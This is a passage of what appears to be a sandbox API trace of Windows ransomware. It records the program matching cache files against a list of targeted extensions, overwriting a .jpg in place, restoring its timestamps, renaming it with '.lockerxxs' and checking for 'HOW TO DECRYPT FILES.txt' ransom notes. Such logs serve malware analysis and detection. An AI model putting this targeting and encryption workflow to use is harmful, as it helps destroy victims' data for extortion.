lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.273] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.273] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEe62t[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" [0083.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.ems") returned 0 [0083.273] lstrlenA (lpString="*.ems") returned 5 [0083.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.db") returned 0 [0083.273] lstrlenA (lpString="*.db") returned 4 [0083.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.dbf") returned 0 [0083.273] lstrlenA (lpString="*.dbf") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.myox") returned 0 [0083.274] lstrlenA (lpString="*.myox") returned 6 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.myo") returned 0 [0083.274] lstrlenA (lpString="*.myo") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbw") returned 0 [0083.274] lstrlenA (lpString="*.qbw") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbb") returned 0 [0083.274] lstrlenA (lpString="*.qbb") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbm") returned 0 [0083.274] lstrlenA (lpString="*.qbm") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbo") returned 0 [0083.274] lstrlenA (lpString="*.qbo") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbx") returned 0 [0083.274] lstrlenA (lpString="*.qbx") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qba") returned 0 [0083.274] lstrlenA (lpString="*.qba") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qby") returned 0 [0083.274] lstrlenA (lpString="*.qby") returned 5 [0083.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qbj") returned 0 [0083.274] lstrlenA (lpString="*.qbj") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.ofx") returned 0 [0083.275] lstrlenA (lpString="*.ofx") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.qif") returned 0 [0083.275] lstrlenA (lpString="*.qif") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.mye") returned 0 [0083.275] lstrlenA (lpString="*.mye") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.mbox") returned 0 [0083.275] lstrlenA (lpString="*.mbox") returned 6 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.eml") returned 0 [0083.275] lstrlenA (lpString="*.eml") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.pst") returned 0 [0083.275] lstrlenA (lpString="*.pst") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.ost") returned 0 [0083.275] lstrlenA (lpString="*.ost") returned 5 [0083.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.idx") returned 0 [0083.276] lstrlenA (lpString="*.idx") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.dbx") returned 0 [0083.276] lstrlenA (lpString="*.dbx") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.sql") returned 0 [0083.276] lstrlenA (lpString="*.sql") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.mdb") returned 0 [0083.276] lstrlenA (lpString="*.mdb") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.fdb") returned 0 [0083.276] lstrlenA (lpString="*.fdb") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.wab") returned 0 [0083.276] lstrlenA (lpString="*.wab") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.dat") returned 0 [0083.276] lstrlenA (lpString="*.dat") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.txt") returned 0 [0083.276] lstrlenA (lpString="*.txt") returned 5 [0083.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.jpeg") returned 0 [0083.276] lstrlenA (lpString="*.jpeg") returned 6 [0083.277] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", pszSpec="*.jpg") returned 1 [0083.277] lstrlenA (lpString="*.jpg") returned 5 [0083.277] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" [0083.277] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" [0083.277] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg." [0083.277] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.lockerxxs" [0083.277] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.278] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa23 [0083.278] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2)) returned 1 [0083.278] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.278] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9fd, lpOverlapped=0x0) returned 1 [0083.280] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg") returned="BBEe62t[1].jpg" [0083.280] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.280] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9fd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9fd, lpOverlapped=0x0) returned 1 [0083.280] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.280] CloseHandle (hObject=0xa4) returned 1 [0083.281] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg.lockerxxs")) returned 1 [0083.282] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe4ca790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca7, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEedPR[1].jpg", cAlternateFileName="BBEEDP~1.JPG")) returned 1 [0083.282] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.282] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEedPR[1].jpg") returned 1 [0083.282] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEedPR[1].jpg") returned 1 [0083.282] lstrcmpiA (lpString1="", lpString2="BBEedPR[1].jpg") returned -1 [0083.282] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg") returned="BBEe62t[1].jpg" [0083.282] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.282] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.282] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.282] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.282] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEedPR[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" [0083.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.ems") returned 0 [0083.282] lstrlenA (lpString="*.ems") returned 5 [0083.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.db") returned 0 [0083.282] lstrlenA (lpString="*.db") returned 4 [0083.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.dbf") returned 0 [0083.282] lstrlenA (lpString="*.dbf") returned 5 [0083.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.myox") returned 0 [0083.282] lstrlenA (lpString="*.myox") returned 6 [0083.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.myo") returned 0 [0083.283] lstrlenA (lpString="*.myo") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbw") returned 0 [0083.283] lstrlenA (lpString="*.qbw") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbb") returned 0 [0083.283] lstrlenA (lpString="*.qbb") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbm") returned 0 [0083.283] lstrlenA (lpString="*.qbm") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbo") returned 0 [0083.283] lstrlenA (lpString="*.qbo") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbx") returned 0 [0083.283] lstrlenA (lpString="*.qbx") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qba") returned 0 [0083.283] lstrlenA (lpString="*.qba") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qby") returned 0 [0083.283] lstrlenA (lpString="*.qby") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qbj") returned 0 [0083.283] lstrlenA (lpString="*.qbj") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.ofx") returned 0 [0083.283] lstrlenA (lpString="*.ofx") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.qif") returned 0 [0083.283] lstrlenA (lpString="*.qif") returned 5 [0083.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.mye") returned 0 [0083.283] lstrlenA (lpString="*.mye") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.mbox") returned 0 [0083.284] lstrlenA (lpString="*.mbox") returned 6 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.eml") returned 0 [0083.284] lstrlenA (lpString="*.eml") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.pst") returned 0 [0083.284] lstrlenA (lpString="*.pst") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.ost") returned 0 [0083.284] lstrlenA (lpString="*.ost") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.idx") returned 0 [0083.284] lstrlenA (lpString="*.idx") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.dbx") returned 0 [0083.284] lstrlenA (lpString="*.dbx") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.sql") returned 0 [0083.284] lstrlenA (lpString="*.sql") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.mdb") returned 0 [0083.284] lstrlenA (lpString="*.mdb") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.fdb") returned 0 [0083.284] lstrlenA (lpString="*.fdb") returned 5 [0083.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg", pszSpec="*.wab") returned 0 [0083.284] lstrlenA (lpString="*.wab") 